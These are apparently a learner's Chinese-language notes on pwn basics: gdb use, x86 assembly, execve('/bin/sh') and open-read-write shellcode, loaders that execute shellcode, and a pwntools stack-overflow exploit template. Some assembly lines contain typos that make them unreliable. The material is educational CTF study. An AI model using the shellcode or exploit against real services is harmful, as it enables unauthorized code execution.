看的蓝鲸安全塔主的PWN教程入门,对缓冲区溢出及利用的最基础原理有了一定了解。
都是一些基础性的记录
[pwn_0x01]notes&write_up
pwn: 通过二进制漏洞手段(篡改控制流)取得程序控制权
通过逆向工程分析获取漏洞
静态分析工具
- IDA Pro
objdump
- objdump -d -M intel ./filename
动态分析工具
- strace(跟踪系统函数)
- ltrace(跟踪所有函数)
动态调试
gdb
- run
- disas function name
- break *address
- infto breakpoint
- info register
- ni
- si
- backtrace
- continue
- x/wx address (w:b/h/g->1/2/8, x[1]:u/d/s/i->unsigned_int/digital/string/instruaction)
- set &address = value
- list
- print val
- info local
- attach pid
gdb-peda
elfsymbol
- spy function’s plt when doing ROP
vmmap
- spy process mapping info and each address permission
readelf
- spy section address
find(alias searchmem)
- sreaching in RAM
- qira
- pwntools
环境搭建 顺便安装chrome及sougou输入法ipython以及配置vi使其更符合使用习惯
教程练习
都是if分支判断,练习基础gdb使用
sysmagic
gdb打开
下断点:breakponit:0x08048720
改寄存器:set $eax = $edx
获得结果:flag:CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}
hw0
gdb打开
下断点:breakpoint:0x08048470
改寄存器:set $eax = 0x23333
获得结果:flag:FLAG{PWN_IS_SO_EASY!}
内存布局
.data
- initalized data
- global variables and static variables
.bss (slock started by symbol)
- uninitialized data
- global variables and static variables that are initialized to zero or do not have explicit initialization in source code
.rodata (read only data)
- const
stack
- not maintain in executable
- local variable
heap
- nota maintain in excutable
- dynamic allocate memory
汇编指令x86
data movement
- mov dst, src #get content
- lea dst, src #get address
arithmetic operator
- add dst, src
- sub dst,src
mul arg
div
- div r/m8
- div r/m16
- div r/m32
- eax: divdend low ->result, ecx: divisor, edx: divdend high -> remainder
- inc dst
- dec dst
control instructions
- test
cmp
- set flag: SF, ZF, PF, CF, OF and AF
- JE Jump if Equal ZF=1
- JNE Jump if Not Equal ZF=0
- JG Jump if Greater(ZF=0)AND(SF=OF)
- JGE Jump if Greater or Equal SF=OF
- JL Jump if Less SF≠OF
- JLE Jump if Less or Equal(ZF=1)OR(SF≠OF)
stack operation
- push
- pop
System Call Reference
- EAX:system call number/ return value
- EBX,ECX,EDX,ESI,EDI:argument
- Instruction:int 0x80
shell code
example: execve(“/bin/sh”,NULL,NULL)
jmp sh
run:
pop ebx
mov BYTE [ebx+7],0
xor eax,eax
mov al,11
xor ecx,ecx
xor edx,edx
int 0x80
sh:
call run
db"/bin/sh"
orw (open read write)
jump file
open:
pop exb
xor eax,eax
mov ecx,ecx
int 0x80
mov ebx,eax
mov al,3
mov ecx,esp
mov dl,0x30
int 0x80
mov al,4
mov bl,1
mov dl,0x30
int 0x80
xor eax,eax
inc eax
int 0x80
file:
call open
db 'filename',0x80
nasm a.asm -o a.o -felf32
objdump -O binary a.o code
xxd -i code
到这里再code文件里已经获得了shellcode了
得到shellcode的方式
- 手工汇编
- 收集别人分享的shellcode e.g. shell-strom
- pwntool内置
- 渗透测试框架 CANVAS or Metasploit 生成shellcode
下面是执行shellcode的方法
C
char code[]=
"\xeb\xfe";
typedef int(*CODE)();
int main(){
((CODE)code)();
}
gcc test.c -o test -m32 -zexestack
[-m32] 表示按32位编译
[-z exestack] 关闭NX保护
Python
import ctypes
shellcode=""
#申请内存空间并写入shellcode
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
#创建shellcode函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
#像一个python函数一样直接调用执行
shellcode_func()
More
实际过程一般是精心构造,覆盖写入shellcode并篡改执行流程至shellcode
Function call过程中的堆栈变化

如图示, 自行脑补
Buffer Overflow
程序没有正确检查输入数据大小导致比buffer长的数据覆盖程序其他部分影响程序执行
stack overflow
发生在stack,直接覆盖return address和arg
可利用的函数
- gets
- scanf
- strcpy
- sprintf
- memcpy
- strcat
- …
将return地址覆盖为程序本身自带的shell函数或者事先在data段上写入的shellcode
操作流程
- 运行程序初步了解(长输入尝试)
- 静态分析(ida)找溢出点
- 动态调试(qira)确定偏移量offset及返回地址ret addr
- 写exploit脚本(pwntools)
from pwn import *
r = remote(ip,port)
//第一次输入在bss段构造shell
r.recvuntil(recv1)
r.sendline(asm(shellcraft.sh()))
//覆盖返回地址
r.recvuntil(recv2)
r.sendline('a'*offset + /p32(ret_addr))
r.interactive()
暂无评论